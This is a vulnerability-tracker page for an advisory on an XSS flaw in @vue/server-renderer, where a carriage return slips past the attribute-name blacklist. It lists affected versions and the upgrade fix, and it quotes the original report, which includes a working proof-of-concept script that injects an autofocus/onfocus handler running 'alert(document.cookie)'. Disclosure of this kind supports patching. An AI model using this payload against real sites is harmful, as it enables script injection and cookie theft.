Patch Forecast
Yellow warning
Plan into this sprint.

GHSA-g2v6-rqmx-r4w6

@vue/server-renderer: XSS via missing CR in attribute-name blacklist

Risk score
53/100
CVSS
7.2 v3.1
Published
5 Oct 2026

Open in the live forecast Today's forecast

What to know

What it is
@vue/server-renderer was investigated specifically because it's the one place in Vue where template rendering output becomes a real HTTP response body -- a genuine server-side trust boundary, unlike client-side rendering which only ever affects the same browser session that's already running the app's own JS. ssrRende…
Affected
@vue/server-renderer (npm) < 3.5.42; @vue/server-renderer (npm) >= 3.6.0-rc.0, < 3.6.0-rc.6
Fix
Upgrade @vue/server-renderer to 3.5.42 or 3.6.0-rc.6 (whichever matches your release line) or later.
Exploitation
No known exploitation

Why it is Yellow

  • CVSS 7.2 high
  • Remotely exploitable without logging in
  • On your watchlist: npm

Affected packages

PackageEcosystemVulnerableFixed in
@vue/server-renderernpm< 3.5.423.5.42
@vue/server-renderernpm>= 3.6.0-rc.0, < 3.6.0-rc.63.6.0-rc.6

References

Original description

## Description `@vue/server-renderer` was investigated specifically because it's the one place in Vue where template rendering output becomes a real HTTP response body -- a genuine server-side trust boundary, unlike client-side rendering which only ever affects the same browser session that's already running the app's own JS. `ssrRenderAttrs()` (in `packages/server-renderer/src/helpers/ssrRenderAttrs.ts`) is what compiled SSR output calls for something like `<div v-bind="userObject">`. It loops over the object's own keys and, for each one, renders it as an HTML attribute: ```ts export function ssrRenderDynamicAttr( key: string, value: unknown, tag?: string, ): string { if (!isRenderableAttrValue(value)) { return `` } const attrKey = ... if (isBooleanAttr(attrKey) || ...) { return includeBooleanAttr(value) ? ` ${attrKey}` : `` } else if (isSSRSafeAttrName(attrKey)) { return value === '' ? ` ${attrKey}` : ` ${attrKey}="${escapeHtml(value)}"` } else { console.warn(`[@vue/server-renderer] Skipped rendering unsafe attribute name: ${attrKey}`) return `` } } ``` The value always goes through `escapeHtml()` -- that part is correctly and consistently applied everywhere in this file. But the attribute name (`attrKey`) is only checked against a character blacklist, then spliced directly into the output with no escaping of its own: ```ts // packages/shared/src/domAttrConfig.ts const unsafeAttrCharRE = /[>/="'\u0009\u000a\u000c\u0020]/ export function isSSRSafeAttrName(name: string): boolean { if (attrValidationCache.hasOwnProperty(name)) { return attrValidationCache[name] } const isUnsafe = unsafeAttrCharRE.test(name) if (isUnsafe) { console.error(`unsafe attribute name: ${name}`) } return (attrValidationCache[name] = !isUnsafe) } ``` That blacklist covers: `>`, `/`, `=`, `"`, apostrophe, tab (U+0009), line feed (U+000A), form feed (U+000C), and space (U+0020). It does not cover U+000D -- carriage return (CR, written as `\r` in JS). That matters because of how browsers actually parse HTML. Per the WHATWG HTML parsing spec, the very first step ("preprocessing the input stream") converts every `\r` not followed by `\n` into a `\n` before the tokenizer even starts. So a raw `\r` sitting inside what Vue intends as a single attribute name gets turned into a real line feed by the browser -- and a line feed is one of the characters that terminates an attribute name and starts a new one. The blacklist checks the string as Vue sees it before the browser gets to reinterpret it, and that's exactly the gap. Below is a fresh clone of this repo, confirming the exact commit, the exact vulnerable line, and zero modification to the source: <img width="781" height="336" alt="poc1" src="https://github.com/user-attachments/assets/f4b92955-9a8f-4700-8c51-38ee46912de8" /> ## Prrof The real, unmodified  ssrRenderAttrs()  from the published  @vue/server-renderer@3.5.41  package was tested. The source at HEAD and the upcoming  v3.6.0-rc.2  tag were also checked, and the same vulnerable regular expression was present in both; no branch containing a fix was identified. Full script, saved as `poc.mjs` (GitHub doesn't let me attach `.mjs` directly, so the complete file is here): ```js import { ssrRenderAttrs } from '@vue/server-renderer'; import { parseFragment } from 'parse5'; // This is exactly what compiled SSR output calls for `<div v-bind="userObject">` // -- the real, unmodified, published ssrRenderAttrs function. // Full attack chain: the key itself contains ONLY letters, digits, and a // bare \r (carriage return) -- no '>', '/', '=', '"', "'", tab, LF, FF, or // space anywhere, so isSSRSafeAttrName() considers it fully safe. The value // is attacker-controlled JavaScript, delivered as the genuine value of the // LAST \r-separated fragment, which Vue's own template naturally appends via // `="${escapeHtml(value)}"` immediately after the key. const maliciousKey = 'x\rautofocus\ronfocus'; const props = { [maliciousKey]: 'alert(document.cookie)', }; const rawAttrString = ssrRenderAttrs(props); console.log('=== Raw string produced by the real ssrRenderAttrs() ==='); console.log(JSON.stringify(rawAttrString)); console.log(); console.log('=== As it would literally appear in the HTML response ==='); console.log(rawAttrString.replace(/\r/g, '\\r').replace(/\n/g, '\\n\n')); const fullHtml = `<div${rawAttrString}>content</div>`; console.log(); console.log('=== Full element HTML ==='); console.log(JSON.stringify(fullHtml)); // Now parse this EXACT output with parse5 -- a real, spec-compliant HTML5 // parser (the same parsing algorithm real browsers implement, including the // \r\n -> \n input-preprocessing normalization step). const fragment = parseFragment(fullHtml); const div = fragment.childNodes.find(n => n.tagName === 'div'); console.log(); console.log('=== How a real HTML5 parser (parse5) actually interprets this ==='); console.log('Attributes parsed on the <div>:'); for (const attr of div.attrs) { console.log(` ${JSON.stringify(attr.name)} = ${JSON.stringify(attr.value)}`); } const injectedHandler = div.attrs.find(a => a.name === 'onfocus'); const injectedAutofocus = div.attrs.find(a => a.name === 'autofocus'); console.log(); if (injectedHandler && injectedAutofocus) { console.log('*** CONFIRMED: real, separate "autofocus" and "onfocus" attributes were parsed out ***'); console.log(`*** onfocus value: ${JSON.stringify(injectedHandler.value)} ***`); console.log('*** This element will execute the attacker JS automatically on page load, no user interaction needed. ***'); } else { console.log('Not confirmed.'); } ``` This is a fresh `npm install vue@3.5.41 @vue/server-renderer@3.5.41 parse5` -- the real, currently-published packages, not anything modified: <img width="831" height="531" alt="poc2" src="https://github.com/user-attachments/assets/ea350948-4c93-45a3-b21a-f21dc7f90d29" /> Real, captured output: ``` === Raw string produced

Last activity 5 Oct 2026. Patch Forecast updates every hour.